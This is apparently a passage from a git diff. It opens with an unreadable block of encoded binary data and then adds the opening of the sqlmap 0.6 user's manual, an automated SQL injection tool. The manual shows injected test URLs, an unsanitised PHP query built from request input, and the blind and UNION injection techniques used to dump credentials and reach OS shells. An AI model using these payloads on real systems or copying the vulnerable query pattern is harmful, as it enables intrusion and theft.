zjov4P*~`THZA4XAB3SkcpJRr}g;z8=<9%fA|0>%7};w@urOcg`(#ZP$2_kE%)R z=V}3&qn3Hr4BwbJ^wg+~WmR6EHrcOQeDIEs-g{yBfEG7QTf#i*d!NgBH#WCUlinRo zb(=g2Jn>@Mv??bLm78(W>glCDMwQ?lkzM-`Y2igR;NYS=8gzl53q`RX91|_K+XAg}mb4-McTef7RoygJZ3gcN<># z*s@|#MPj+G6C)G$RR0=hQUAc!G6%d%v}sTxX!HEfkVJ!X>os`@u8*-v@h>_&ji zQeEw8qw0L#S88bu-{&(6H#r;Vu=7L7PT#^}%}qNqDzXaqcKuuZZ*HDn?Qp9iV=XT3 z8+WhYrCPX zgcpO}#kD?L`{aY2kw*W;%Wqw{kkTi7M#J8hpxCUK*3(nHX5cp6$`SL=wJW%+>wK$j zOP_7Xc-eb)v00W{Kbs3>8@IA5)$(ZZT_=s>i&u@Cr#kRzsI}t?&u;s2OM5(UG*(G} zXB{xd=i-LT4yW3u_%!`hd-letoQF*h>tYIoeCy_Djw|N0;{R|BbEm|^IFD7{HEjOz zL*B;N3;Sx}ZdjLzm+-(x#a7}&s25xh=WNSKwun_UsaxpeqK4PbkIH^Cdc@O=VbNDQ zZoksUW_6!sgD*cHTd#|Up?rtX&N1~zByI^w-F0nG(!;ndy-cw}(dy27h^6X>+@fe$yVUE!f;Mv(V!Co7#mheKRJi%dAx8U#gJZ zRrKe|7ORwFQ7u>-d+O)-%Z*+g3e@~DbJ^twBNi+P@~Bqj(#KWRJdbC!9A4n@zPS!L zMR1+w6LXw3qeH9zL!dc2Q`j#zd$d`2qEgEbc*8j4S}U(V|8%WWxU5(CDb_ny7I5hh zQEtP-MX#zO)NG~MT5O8t!l2-?iNAcV+xfXx&_(S_c{-!j@{?7UZ7!xxYp^)Or{>b| z%P9v_>n}f;tortOT7RE=!=D?jKlA!4>r%f?SDWqdjvG*@z`S@TJEiAob;BYJZqD$n zQa`-dy~Cecy{erNrFb@e-~CIm?|h!$^?B}*>c9F%p#}9$FD(3pY^Rd^gJ}URaH_jI9>`?PXmmV*ZbIKihJgoQBN{;vLSNc{W z)WmX6Et7cv=1xl8|8gg#7O&=!7pfGvcJF_^lTvMvJ({P^yOYu+UKN;kC#6ZeFEIa3 zN|SJFVE*-Zd^H#y*53TPc3QoYN~7Ta#Jh1sjLHAUUsS14ldBy0Kgo9hZA>(=D*&@-^_`tE0y?<+#{NI*QOSa?`42VlxS*c_tr$?l2-=OPVMGlho(Sab4J9uQqMQ-sj3|c$EmJ-< z{5_(0ZxCOkZw~%{a(gI{sz4=qO_01GNd8buZxrQMwK$d-D}~WS)-Aa{6U&6ZsEYf6 z>pAgi5dQ_kXvCEl!Vi4mZbKx+;2<_~w`OubAhEbhBe@^AnG-jW@^#>@FmhLRabIvR zCwEUD_X89diT%#~Fe-S@2KNJ8%zwKOFH~~IG5G=!Y|4MTP>mnNis8O!@D?XoVcZWb zeh|kk_d|ytVoxFMOnDcnLe81E=k2&+-~k?v66%ni662D5!GtnmV1*x~KP2+UeL;T^ z1{Hn~j*18%;EYId6}}LTiU@GKDSv?kL4YgyP2A(4+z<2z@k722=A=m}jsjLMe@dMz zhAwc&t+^lQ0#4Zrb-+aK!eH(TnTjF>xJ}lC3v>8l7&Q}jB9IirsF}EfY1|Jq3Xvuh z0}~f#u1-Y8m1cOb)0&*p9N`hWYaq$}{k-RAh zQn+*!LJHnb#jiYCz$8=to08y?366gO3)p0myeSDxje~Buqwgb!S>K>g4HULU={zZ==@nVta5Bx z`b}tBNPS9kqu`1fm9MF;jC)W^OriQ?e#+wDh;^zr}X zJE?|cd97v3w&h)lY*Q|s5|uD0uCJAEyjAD<3kvMJny%QmXm?cMCKhjtoUNhPF11bA z{ypkgfe}p(P0pG!?YqIF>&C}b-8IL{8&>V=_9$ZfytJh0ZR*qW5R_mq45fNrnS zo*U*b|7x$Q+3KAk*T%ywt6k=dVjo8QmAfG>rSG`FcGw3qclLgA^z!7`GhI)2s8t&$FCDHV zre7M?E~;hRR11|w-GWv<7P`Is>tmV5_qtxa@xI3LN0q0P|54}U@an(%JzIUg$`h~4 z?k?S3qumn=AMm|7rQ5l=cbhhSwCCunKhG4|+Ck-it>4AlFTa-?`0{0BL*?xY{akXI z4XBJZrmsIXtB0-gc8*woHwDJjgpUW_I{{ zcf0o&t9yq}S6y5@^x9whRIT?sTN&nDb?}VsW5#T*k^CdUaa#|~$H^0yee~~Sk7tJ0Sy|hDj{9`BPw?WI8P?XDvo=|8{xxgjnxZR@T->t0|KO0I zDVFQzr>uS6#I$7M#7=`w?zOmox8=u>f)8&NslRzhjq>X+4k7!a%!8eeDoYo6H@$M5yO-RiEGuv_HE#Gi zuW4d;}U%ja<=?yDD6p8h(1%9`z+U(NM( zZ2UU((8?=MXODb)VV0xyi5qSw*1T41(T*Du@;?raIbsS$A9ERr>F{Zgs6w-8LnLpK(0))~8r} ztJEutog+=LtNNu+Op32~HAj2<+Pd57OEdL@(~hQ$>0EKh>l1&ky0&I*wJqsRHE#~x z>$CP{!sv=?U*4YK5;^mG{W>mAajlEBbFXr$U4h587DEdi>KATXda<>~;+wTAIa^fP zupl|9LYY*{RR`YXHk>`O$o>~2SIxg!#+=iQ+GWC@|yw1Ls>l5E;XVIa~X>A>6?AgB{e5c!v4^h`wl+D!aJK;Qh zjYng1Y$xg!H3ijB>;CPcesYOl)ZuPb$f7>AzkqQ?@+!|%4_me3@Ue08$0b=5+L}FR zRQVRIPL%4FkQtkjY_(aX`eADqwCrtU^zc5(eZ!C2ovr8NwXgZJXS44O+J1QO;lRxa zSxfr|_ndR!+0{uOw|{TB=fH!+FPW7t?Y-T>$^C7P#iC{&`-4)Gx1H&gsy2;`tg^4| z%JEaDY*WV9ICtN|$=4?G#TJX9sqTdqTBMfV>vz8XrQMEx>%01U2H)vc+HUoLt+jVO z_lvMSb8+GMy>Ex6U+%cWMYA)f_k#65Z#?}H^K@+DmjzjxJ6RpGr)0m6Y`pNcF|$#| zh=n8Ow}_cKDyn&{dJR7Ap4z^3g5G9#XH(+t+h0qa7*Qt6y;j!DPkRDpzWvssLr>k^ ziZ$F*x8~IDRZJDB85ce^xtJePI<> z`-Mr1FYZ#k9x++BFhs4GUVruORNwJVb_L!IZXUO>eB8-aZtv$F@Mw@*sQIwMW1ix* z&;nyZCwixQ9oZj})zdRN@%7RImLn7=avh(|?!B>_($ZG%y#7i23Ww?)YWkk- z=Q}Pg^1_|uzaF4&C^~uhrkBTw6@OT7E`?bL)VkwziuJySf(%P56|g z&sx-e?>goA5!(+>h@bv*Y`HOYz76lu#Wl0J!;S9?XHAOj*Z85)%~*ceI`zJh=exLl zSbHOR*Y(8WZ?;`Mv>?#rzGC12*J*FOCccz^g*F^79E^jx4wFVW*E)e|omN=2PBf(~gK~ zIllcn?!7r>$+3qXYnudbuh%8u#mJ+*;|4bx^=+`@wL6YCI@jxPqg1yb?->C*?{2&? z{A9CXA>Y+U*P1GgeQ#Gs{q0%Lr~}<%?q~I#GPsN7#(GwV=QgmM7TVSCU0RJ;s~=?) zGpasbbkSd3C|CcYhTKc_d#3biZ>_-`D%aI;d6 z4k>kJ7~)m#dey>7>sF+F@NmESN3Y8DBC@ZPE^A#`F@DPCL5gurZ3os5Xs>QPxtMK9 z#ls2h*KKJu;I9r#Q&PNobuaXH!PGx{#d{yB6kOqf<=L06>w35zx?W?`h7BEl-P6Tp z?EKO^YiH21#HSVN1x-YlZgegT$AJ&IrJa_>}umk&x*&YW1ge*963(kXQg)i+jfu}^dF;^8&Z;%Ae} zmsTHKt@dj=L0fpts*p<-!DWwhO)t}O)50TtrYBwYy>#~1(Q6-{mfhcDZ;!Q$LR!qd zk~K25)Wxd5ynOdWHM4lsa*~TOq4T^GN8X-0?Q3=M<*Kb7t=77F)zNk@Ua&||y*c|o z)JOF~E?^)4g;|8tAsd{xBYAS~n zh-8*cY&;nsOq@{Bey zC*!W{YyNkYZac2p28F&Iw!QJ_3l61D1vT?1X;(jUm&dhh-;&;3$oRhF_=FcT4Z#oRiSU5Z#9iAKFVfp*V$(>Hry=g@N?|O=eLd> z4NtS)+TCZtvXS?9f3H?;`=_BJZq*2yeyDH#$X&t3#^@$@GOYRDq`~3|!P7&BrN&*2 zcAGtH6_`v$T7un8USFh97%}dA6%IWX&rg*`pd#02v`q%h@ zJ70V3T=9Ix(=j`$g$)>UvDk{N6>oZ4v_6=8tXDO+gl~>#qO0H9qX;!*`+ba<^XqM? zN_B>K&RFtu`|7k7nch2UP0JXVc6-_Il=@o+PR{t+Mj4bf%;krFLhDhVbAnPhP*KZotx?X>gj_asogHvd|vpuhT+ae z*9MED7pHHwEcoU4=3NP6Cfh_>_w-!rv;1jlwEv`n(PdI6j6FHLU&geYU5Eb2bbHXd zq0=b;S{v6?8@$uGL(?M__UP7CeR+PgbN7l(V%J@m^f2{e&bl2Zf}pfR<&%OVbXco zZfKtThtHjINk8g*U7fhxruxyg^P0|V7G&ROq-o8IW-opEH>z>qmi?Z)d*=1Hof^8% z$?=B6BJW2#-cJahSNC<#`0M>Fzig|tGyA}xYO9^<_TTSr+<)iMX#e(Q?9y)M8utZu zsyMM`=;0%auYcC>*{2?S6(4iGyZWYdkdh$&X1VPE}h|F0^~mr{M!W^l}N^ z`tG>pge?udyftl2 z-JI@MZvFgadH#jnURJ3z$zImYS1Q{CM*2qthew4)@Y-Q#ztBL1vuE$NU0d~VXx*uk zy9yg4cE6xVg;uIRIwBz9NHkSMJd6s1P6-XtCDK1|Xp};4Ldn*C;q3y0g9hQJQDf~) znjzmDRpg_4lwU}&zst~|kU&5H@Qex!?V&KJt(|)bwX_=S%|ui542)7Va1M$H#0DJU z91<8AY0uMvtvOI(5+34{Zv3o|1{=RFZ+}M+-k=vZd)dCP{P+95XZI3T*P=U~?$SQ` zY^K9S-4)F?kMPeW6SUf{$}5`t9^Ipz+IMPn`dntDdn3FTpxm}i>lNOpQ%|L~yHdGR zt=^>8J@e=up5eTv(V32!4Z2+jzgEaz-81}LC&x1#JD>A>hsy2F7lyq%|F6=Emn~k< z$7Aj4`}61gRl3lnZfT{H`z-F`_2BlRrP0!7S8UyaJmz+uJE48 ztNHVm&RMs7$e@%U-w^AhQ;mk7O>5Vw*r`VD8C~0TIA`Cv@buMBQTzQP|TJmYNI$sZUZFnZF>lFP3jZ#^tVWC!)9V(tz zU*GpQH~HMYsKRw|LBO$;lw<9ke61}%bgZzhWCeA$hlfLX4~KD1*RG#E>ufO?7wUIP zZ`CKJOr-{W#-Da?QLOT|we=LkoH`~NO;37yy{y{1;qyKVElTROIO1q9q`P*T-?xuf z^1_~$ogEI{ANT&Udc4d0g?*A1o{P@z6SF0{!?lm0p$;$mR`Tg}d|hTv_OV;@3^#4s zyjrtp$pVjRA&s58s`dw*ULT*h<8zIQnFks?m>bfp`>sLL12+0}xiio8$dDbw9eY(& ztvDQY@ZL<{_h+7N2;TQ=+f|=YHJwT8Bi z12OBy^~?1*`SM=8&yZZx?$2i%*VsS$LHODCZr^^CeDghEY(VFx`i!rR(XDQWEo`^v za5Mi^oic~FTbl7l**(Md`+fga>6J%^mobexoLjne?6kDAi`E@^vN!bLiOt&=bsCU{S zLr(?XPg?9#w)C__~(&+rz8B>`AORzxcg}0Tpir#*Ul*sNFkNhX3CVpO>7U zm2z@_XcT z-*szR?>g`%`ks4#o93TS_YKV*lX4*<<=d}bpDR?Uaq)dt=7CZ-`~uPkk9m7?$%|_q z&bgHuSr#~2qvUvV@>%NR{J-S0TU(c&9&V7&p1pr3pJ9YL5;F|8pB{FPE?+)#vhaVA z&qgGY{YE|yhzjHLBrL5EL3di9n&@lLGKJ*D-~L zPlCbU+%%9iDvK%pr$%{?1D<~7km7HyM+yzE1>kR?aX#%w)~M_Oy#LfFpMay#@X1K{ zn`f(*&ym41&wQg=K7B>nsFq7R`CrCV%jdNqLyfqeJn%Q)V=X_13N4=xg1@=OWsPzP z8UItGeA0(P%bo2)qkLAALd$0=;cubmygx_QC^r)SvQfcv!_QtV@8rST*g{YF=acc9 zA6qS-&!y1vvs>0EHzNO2qkJluLMtp49VePR6gobk34e1bLJA$fbfk^yxRLmWMj^lQ z)~T$gIzGEdii}^$|A0&*UG*G8teu5bFAN61gt5x`LBaIo@`msvy1+j^KS$mwq3a)7 zRY7CV>w~OSt+3*>!eZdL;UULPYWxFsEnceU`ydE12sDmSax7#7S#)A@R_DNx`7}#$6H!g$<~LGjf?LQ56L6C^EP2uisVX72FCQHbq0w>c z4AvSd2ps$kIsrLPtB?dJMNYoUk&_#xID!arVQ>Boa-k<2a&wfE?=*5D?+nOcsY%C- zVuYAKDIn+jA)%c6P9Yc5ED3UvtNeCLBNzH5Am{rbMa~YPN=!o~$p3K&ahEXHFCMwj z4+(PaJ5721fC>-Fi;FjpaseGrxfGq5ArzGh&?>4|!Vrp+w<|Z>L=B`MrcPuH3y-XAOrw71oGjNQ!R!mc#eqcN9=ph?JErz&0+=Lu1j(5j>lvSdPm31ZL$OyGrk9s+qE1d-&- z_kkJ*F`mNrLHuQ|58N3Hst@8R3_=36e#KV#(HGL1r9CpUV#R!Cpc6Bs#bK4B6Emy% zE(xbYB*j9nK>c`XNEieW#J< zi(oPB{5QyD11j`Giky6>kc(OEU<ikLX&^9GOv6Zch4Q@(0MX+|=Z$ONG{z&u9;ayd^3G6i^Q1b#@zlgqWB+RhtI zN^ugKM!pQ`gdLx?gg6BZ&qoC-^C6d%w;gC?x z=UJhY1|)A@rT__?$e%uD)SrCqhf;nhywZUd`Y6FmzRKwpPpZLvAYYquyn-u$8!J}n zA?uAons{SOQ2iSUw{Q>BR{u<)`h99ku+xFHYBk*5_g9$zd@TY ze@D+KzlbP%g<5dGHV8);z)3{_yh~32DDB~GmqAcQ!%HEBP)1E4ynkANXaM2mDk4H1 zgF}O(sAluZ$=q?=?n@KP6Q(5?Wo_sH5!|@~Ha&rGTe(P?fk0%`HE zwNhI1TFomZr&M|ZNMtKl2h1Sn^)NaD5o*Fh!3E4CQxg{Q%8OVAwY1#R%z3rILM^Z8 zie`MwXR6q!fLd!Wr&GFA<#d97T7FfD4S;`I{y3@#0spl8K~oU|{%QFmq#^|T z)AENy1qdit^J*=_P&FFm3Dr<^l3_DD@*1#DE5v_kZ!0)*Xp`=v-w~nGzs-4L=sv-R2eIa69!arUI5g~+sLLf=NPxvQOyEh01y`Nnk7pp8qF&uA9}J{%(7HV7|44I#kz!nvRSJo4CJ+Yu?%6L5S9{J1Os(K zfJ%UX8Xa$_FqD#3^GeAnm5M|eOSNF2jyKiBx?rGAh+7HRz(5^uB5~n%aM;j>oNVRelzBh`6J(lD z%!!B(Ztu@8MAj2milG$^i};=B1tr}~MV^X{a5Ib-Q6h-&Oc0$S2wYPOVaL2yz#MX| zDJR_`qX&pZaXE-RlC;dg(H}l?EG1s7209wZu&CuM=fpD2a#;oNMhHPk5#gc}bVm@v zlJYvjUQznX;K0M*U?3w%=L8B>c|6GPug(elQt^ReS;z8=s4yZFGD?!jg2j15l#fB@ zgb`4Qo1TnZ3CA)CLVnJ%?#1-t5p;;pi@e!misDQ%+yy*AeH%P zAT5Y1h0M$aAXie1Ft_v5j6gLaV173p@R`V&-%SV{mcdscfrVj}mMm12REkKuq2)wC zo=CBgCr9?=~O+jU&Wq?#!5u4)`BNOk^0eXIvO}w93VG_p1 z#Jhc^&2bhHr)|<)Qej3&d5a5ph|WTFRM2`&LiUMC7-y4U!V*dmb>Y-vXp_8O zLq>sgOK^#f8Wa}Mz}}e)$l`C$=mCSFQ{!K)NxnY5b@cNJ?4=kHjC*Vcf!>ISz=4Wz zKmQ>h*50{mL|8zye_%v|@PL6R=BRSgDzWsPI|Pmz5f%{;*#P;Z93m*`ZIJ%2Xwasy zTB$TDaaWa6t;X$14obD1QfY^B=*j<8#4ExtJUlP}hxzxH3+sgY`2|kq^Ug zk^hsyFfa@ZBg4S3glHJCzBt%Wp$(OhGr*)UwGKBeifxGHP=NT2q~*xJ$zqqm)EXt( z0HrYC(-PSvh2h^SVwuq}5^j*efRAhiQW)@YZW}2K|5g)SfQAt#nhd7a8;Bk$g%Nya z>f$tlyd3Iih|^bESE<$;>AJv2uK$*oLtPS~k=0cyxhzr{48An7%}Zgxry@QSDGdMC z67L@kqj{wSJ|eKB<$zB~yem=|{;ea?eHunQA~KjpZy?&76sFeUrarnHrVG*Bq~-8$ zrf=YYk?k*T@ndw~*IPg+;0MP+J^1D}rJGnN+H2IL;i7bMEk^8om?WUrUC3z$ja%l#Z!C%K0Q$;W#yE}FlEP_yE8ymPLF0Oz7TxOJjKc) z0Ww)#z?gjt_-MWWpOz@UR9zJ-6V+Vipsbu8;((H!1Rn_k%F2=Ljp_&4@`&;+D`x=n zS^lYssw^v~RCAtD8piCu224PzF6dJ;dW2HV9ZsO|Y3aQ}34HWe0v~xjn5K_&FH`t* zByuc+L5dUgUkU?0C9_Xsqo(Hp_@^h)WNBUO3VISllfu+GY&~>2)MfW0wSn35Fd8Ie zK;bho{ZOjS>_=)N36DzaDh;^dli~sB!=Wy!oDyP}Du@1Z*RRU(8Ie`S%on|$l}&2y z1`b(WXnG{gO9nH78j2P`bRwGq1FtJvvTLqq;-K$&Fc3!wnp!bO0Axrr%-^o zs5ym?OMjQb&|f{R*8ygr_ZfnZw!uK3lEexqd3+b=#K&Ej=PXv z)(>1h#^@2adyKJhhzdgY7uR!<^foy@Eu4*nSwe^D}aM5IGDj1}$w5!gOZ$bCtnB;xrUK?wWr& z%*fiDFdLcmt2Q(5;mc+8PAn~UzTm_qvyO~vM#jS8Wb7VHd`7+i#NboI>p{0cwlaE6 zt2JC$Q^o^WmyBJ3eU1tuMrt|X%c*C;Uif(Fl< zP&Nci4J<-xd^Ki#GVm8OG7M%Yvu~+2YFh6EeP(P)s8US3NFSv63{!}a#Tq3RCPlN_ zz^*~mWpqa*!ZA9HM$6rfAm<<4W-NV-OoaIX^@pMb<_xW`p&WO#UET&n9WCoL#0g5{ z)3b67mr1Z=sW-CiYPiQO1UK5498M(5JtJ}tH`xucShqEra+ z8SE8$#s{Fq<)Ae0(OWwH0aM6G+jLNx3`{@Zm15=)wj*Xu<1P$l4?taJ9>BC`WP}!5 z3O$xEQy5zub(uW?IirkC0_n{51LBHazwpa5^ADCEqZcD1l(8Ez#Yy_UbUZN842fjJMkTa%#GF$dKj$q+#v28TCdY1-b0sz2xDYBGz(@w*K2f)KSGZyd1yZC zp)}BZMqPT}!n|VbC?eKq`3$!nvzNi6%IHY&CbIMy5tyXL5_bhM`Y9r9j83hGxT5$6 zn$?V)#8$?vRXy@H=sB*(dt&t5MO|jC!n@0?Ed%y=x*u4n%$hdfiUfLm4H`W&meAIi zz05#1M~YX7d@^#}fCCit`ha_!nSY4vFmWqrIkaz%nB6oCMk7KwG%awN(>yg8SbvTI zCM?5e1M837%5bAW}kukijmLoaWnD-Rx(=-$1dpkV$^d7kEHSx zW6s8jjfiPdYY=V_Hf|4h38N>%UBb+JXqb#I1Ce~j?!jw+w0|5)C|Io2oWz@NOkGSN zX3s-15i@sDm-f*r;TdM;1|C#n^cTD+$BZv}%lK|E`uV8iIt~N?C7}x?;j)YAx&w$1hjCE`N`?SU9Hp@K|AF#bfx8p ztBTQMVXe}9A(}0{e;_tNZo`-H1#T{^ei{ZZD798eoP=H<#8*$xA;1{lA=-ttOShrp zjta^926;uT8IqMj@4v)rM*B8Vj>*e_dkvG9ZWj}QZG+1JmD7SeO-dGHopa|0W#!-_ zV|WiIJnh2+Eh<`v!`+hxdS8WQ!1yr%;~v_Sw~MO;sW}dO+}oH`IcD!BnvBlGK7rPs+ zb3tKc^1}er)A~JNOne`!1KBeaUx<%~nlGr!#5qATV~3I$2EF#dC@r&ov5J^^4;U@) zfe!&fhCXaaGz<|R_1ml1nbNGyCeHX$M&H|bi1EvoHL!tr$LslRI!!A$55K3kE0%e71*9dK% zsmq;umd$69$II{qA!{0+25u>uW`v??UjdXHCih5%QDf+X50B{^QV3|D0_qy*y&Evb zmxfK6I|L)^8#1>TULmc3nfJJwmDVTWe1cnrPH;bow6fDrCx>`=hCbHs8!8x6Fch;mF^7h5BDeW1K9 z_626#pgc131$q-rGj=j&+_cyR>9qXWo7m^EjCf64Qy~U z%`kh&jU;k>u&wCvg-?*to3zMpV%orBWnoMX0fZW38vw=~sF2eFQAh7Hu-<6@26kU0 zEzD0^^ z84PqD8N#7Z3h6emJ{TS#N0S*}sLJ%-gV-!v7w>s9{KGP5+CYepUNi8j(7t~NadvzW zjbda8C}!p^L>=1(b|j`<1Vrin>Y#_w@(SJvM%KZX%g9b00z>q8z#qn}U-*k@-z$!0 zLg}K$2>CuNJ|yumG{d*V&`c6|X?%!p(Q5`AVD>VId&X8nE-WKAkdeTwBlve&nh_6W zcyDC@c^9f;ci!vt$k#g(!M2>L%^2mFCt#d`h}HD`($8#Fz0LlLvlBb4_R3> zPho-4{zPK-F!NLoU4@}f&B_Q^DQsQ13TSztN9sO3*WgBH_C~m%X#WOhM$zMeU4gOL z^|-8qo-YXRGx{2$Ld?DoKQ*(CV1m*12h1{7M}qpyjvG=Y7#_e~!tfNVVrXXlVR&5* zQ;Hs6;yh$v-2E=H`G;I_Mz+Iu&FtOCbYWyMG6+~6;Ajgome3jKevptbz4i@A9;D?4 zQoNYG77=SkULnHA*kF*(%vy!doUyl{t}%1XK$3AN{$bddb!mX#mZ2G89C|z;*_r*) zfH*t7F5$mtY!dkI8J=RNW$8nHB7+aEQhGdKnKJ$tgBhK{08zs9jg4s{HHGoP1IFY8 z0tTa#<|)F?41E|(rXSD`7@i^zo}mwZLT0WZH;?@*kwL)N zWpME@x+qSJGIJ7{mn_Z1c&6qCBrL;c6Sib}%%Pn!b_y&A##Y0sWMm0eKFfRLk}!OR zqR7yPKs&t_aH@lme~92RIxD6DW5Yr;G4d4ISL~R>M?tSQ#A2BB1}_6UZsed1&1dKv zER40mNZJT3>mWK=nlYa#zQ9;u&h3y08m+Se#++{i3<%{kLp#9nF9ycgTSSYX$C8`? zq zPq)G5mSJMxzz|&yaYSnGMmY>HT@ITHB}2s zz)bYqMG_D9kh-icq#r{Iyps%1N#Kg68CgcO9e@Bm3|6Xd2#V153>+v-ZZcquZVPLl z$gnWCA5CTJM}=F>Vbv7%_779w}d zSrouvnbB<^?S`I1L=|Od!IEZS7!VpC%r~YS9K7^=0eQ494J5;2W$>}`9xe}NEJ+BG zX+vkG4Kuk>P_r4i0Z$9F7N8>0IvhMQOl~M)Gp(-yh7Qwx!&xY%zeqP@#skIy!&4(1 zdo(^M#tc3j@1fTgIK`|jXmzyyf;4@`Uk5@My%;d&OerX0L_&fc9G;I>?+)28^+t0b|Z^AUOxx4>fLx zt1;_W17|K+u?K312)X--BaB43{NgQy{~XZ@gZlHmQCcSFT(>ETnv5ikuh~y9~n9ALi<`EbeTLYz!;wqV2ocBFj%%!KVaf8 zvIM8a8QFxR9<+@EV}{A41B{6q0LJRn#2rh^7o-I-nMcbK zM3flbBW^|eWRPyb+yz3!Ju|-KXfD$(o4b!-6dai}?~P{avbGSkIwqeQFeY~uFjkkx zETwZ{u^mC_qG&-}h|$fET1NXzkWYh6imnT0(YgvkI}Gn(>eBHPY-NnE889X`}-rW^{D8eQ4h%>asSI9#fa*fgW*Z1_m{o?l1E6X}=jfzD(>GFvhnDn33TN#2+KG zacYd&SD~HKJ|1lQth`6;gwflvQ!x4vQhOM?0?`FV=8zZ*!vpqA2svIx+xvjY{1#CW ze!;lp&bnz+yt*9xM<9PQowG++SQPmuBqe#&z6{;oTI+Igp{HZq>Ri zvS)N{TWO50ZB1GigoM;>v01cfuK2%;^iwo%ZXHS9J>c%egMNhDRjljPbM4aB`u_p; CgRay7 literal 0 HcmV?d00001 diff --git a/doc/README.sgml b/doc/README.sgml new file mode 100644 index 000000000..9a9cecaa1 --- /dev/null +++ b/doc/README.sgml @@ -0,0 +1,3170 @@ + + +
+ +sqlmap user's manual +<author>by <htmlurl url="mailto:bernardo.damele@gmail.com" name="Bernardo Damele A. G."> +<date>version 0.6, 1st of September 2008 +<abstract> +This document is the user's manual to use <htmlurl url="http://sqlmap.sourceforge.net" name="sqlmap">. +Check the project <htmlurl url="http://sqlmap.sourceforge.net" name="homepage"> +for the latest version. +</abstract> + +<toc> + + +<sect>Introduction +<p> +sqlmap is an automatic <htmlurl url="http://www.google.com/search?q=SQL+injection" +name="SQL injection"> tool. Its goal is to detect and take advantage of +SQL injection vulnerabilities on web applications. Once it detects one or +more SQL injections on the target host, the user can choose among a +variety of options to perform an extensive back-end database management +system fingerprint, retrieve DBMS session user and database, enumerate +users, password hashes, privileges, databases, dump entire or user's +specific DBMS tables/columns, run his own SQL <tt>SELECT</tt> statement, +read specific files on the file system and much more. + + +<sect1>Requirements + +<p> +sqlmap is developed in <htmlurl url="http://www.python.org" name="Python">, +a dynamic object-oriented interpreted programming language. +This makes the tool independent from the operating system since it only +requires the Python interpreter. +The interpreter is freely downloadable from its +<htmlurl url="http://python.org/download/" name="official site">. +To make it even easier, many GNU/Linux distributions come out of the box +with Python interpreter package installed and other Unices and MacOS X +too provide it packaged in their formats and ready to be installed. +Windows users can download and install the Python setup-ready installer +for x86, AMD64 and Itanium too. + +Optionally, if you are running sqlmap on Windows, you may wish to install +<htmlurl url="http://ipython.scipy.org/moin/PyReadline/Intro" name="PyReadline"> +to be able to take advantage of the sqlmap TAB completion and history +support functionalities in the SQL shell and OS shell. +Note that these functionalities are available natively by Python official +readline library on other operating systems. + + +<sect1>Scenario + +<p> +Let's say that you are auditing a web application and found a web page +that accepts dynamic user-provided values on <tt>GET</tt> or <tt>POST</tt> +parameters or HTTP <tt>Cookie</tt> values or HTTP <tt>User-Agent</tt> +header value. +You now want to test if these are affected by a SQL injection +vulnerability, and if so, exploit them to retrieve as much information as +possible out of the web application's back-end database management system +or even be able to access the underlying operating system. + +Consider that the target url is: + +<tscreen><tt>http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2</tt></tscreen> + +Assume that: + +<tscreen><tt>http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=1&cat=2</tt></tscreen> + +is the same page as the original one and: + +<tscreen><tt>http://192.168.1.121/sqlmap/mysql/get_int.php?id=1+AND+1=2&cat=2</tt></tscreen> + +differs from the original one, it means that you are in front of a SQL +injection vulnerability in the <tt>id</tt> <tt>GET</tt> parameter of the +<tt>index.php</tt> web application page which means that no IDS/IPS, no +web application firewall, no parameters' value sanitization is performed +on the server-side. + +This is a quite common flaw in dynamic content web applications and it +does not depend upon the back-end database management system nor on the web +application programming language: it is a programmer code's security flaw. +The <htmlurl url="http://www.owasp.org" name="Open Web Application Security Project"> +recently rated in their <htmlurl url="http://www.owasp.org/index.php/Top_10_2007" +name="OWASP Top Ten"> survey this vulnerability as the <htmlurl +url="http://www.owasp.org/index.php/Top_10_2007-A2" name="most +common"> and important web application vulnerability, second only to +<htmlurl url="http://www.owasp.org/index.php/Top_10_2007-A1" +name="Cross-Site Scripting">. + +Back to the scenario, probably the SQL <tt>SELECT</tt> statemenet into +<tt>index.php</tt> has a syntax similar to the following SQL query, in +pseudo PHP code: + +<tscreen><tt> +$query = "SELECT [column(s) name] FROM [table name] WHERE id=" . $_REQUEST['id']; +</tt></tscreen> + +As you can see, appending any other syntatically valid SQL condition after +a value for <tt>id</tt> such condition will take place when the web +application passes the query to the back-end database management system +that executes it, that is why the condition <tt>id=1 AND 1=1</tt> is valid +(<em>True</em>) and returns the same page as the original one, with the +same content and without showing any SQL error message. + +Moreover, in this simple and easy to inject scenario it would be also +possible to append, not just one or more valid SQL condition(s), but also +stacked SQL queries, for instance something like <tt>[...]&id=1; +ANOTHER SQL QUERY--</tt> + +Now that you found this SQL injection vulnerable parameter, you can +exploit it by manipulating the <tt>id</tt> parameter value in the HTTP +request. + +There exist many <htmlurl url="http://del.icio.us/inquis/sqlinjection" name="resources"> +on the Net explaining in depth how to prevent and how to exploit SQL +injection vulnerabilities and it is recommended to read them if you are +not familiar with the issue before going ahead with sqlmap. + +Passing the original address, <tt>http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2</tt> +to sqlmap, the tool will automatically: + +<itemize> +<item>Identify the vulnerable parameter(s) (<tt>id</tt> in this scenario); +<item>Depending on the user's options, sqlmap uses the <bf>blind SQL +injection</bf> or the <bf>inband SQL injection</bf> technique as described +in the following section to go ahead with the exploiting. +</itemize> + + +<sect1>Techniques + +<p> +sqlmap implements two techniques to exploit a SQL injection vulnerability: + +<itemize> +<item><bf>Blind SQL injection</bf>, also known as <bf>inference SQL +injection</bf>: sqlmap appends to the affected parameter in the HTTP +request, a syntatically valid SQL statement string containing a +<tt>SELECT</tt> sub-statement, or any other SQL statement whose the user +want to retrieve the output. +For each HTTP response, by making a comparison based upon HTML page +content hashes, or string matches, with the original request, the tool +determines the output value of the statement character by character. +The bisection algorithm implemented in sqlmap to perform this technique +is able to fetch each output character with at maximum seven HTTP +requests. +This is sqlmap default SQL injection technique. +<item><bf>Inband SQL injection</bf>, also known as <bf>UNION query SQL +injection</bf>: sqlmap appends to the affected parameter in the HTTP +request, a syntatically valid SQL statement string starting with a +<tt>UNION ALL SELECT</tt>. This techique is useful if the web application +page passes the output of the <tt>SELECT</tt> statement to a <tt>for</tt> +cycle, or similar, so that each line of the query output is printed on the +page content. +This technique is much faster if the target url is affected by because +in a single HTTP response it returns the whole query output within the +page content. +This SQL injection technique is an alternative to the first one. +</itemize> + +It is strongly recommended to run at least once sqlmap with the +<tt>--union-test</tt> option to test if the affected parameter is used +within a <tt>for</tt> cycle, or similar, and in case use +<tt>--union-use</tt> option to exploit this vulnerability because it +saves a lot of time and it does not weight down the web server log file +with hundreds of HTTP requests. + + +<sect>Features + +<p> 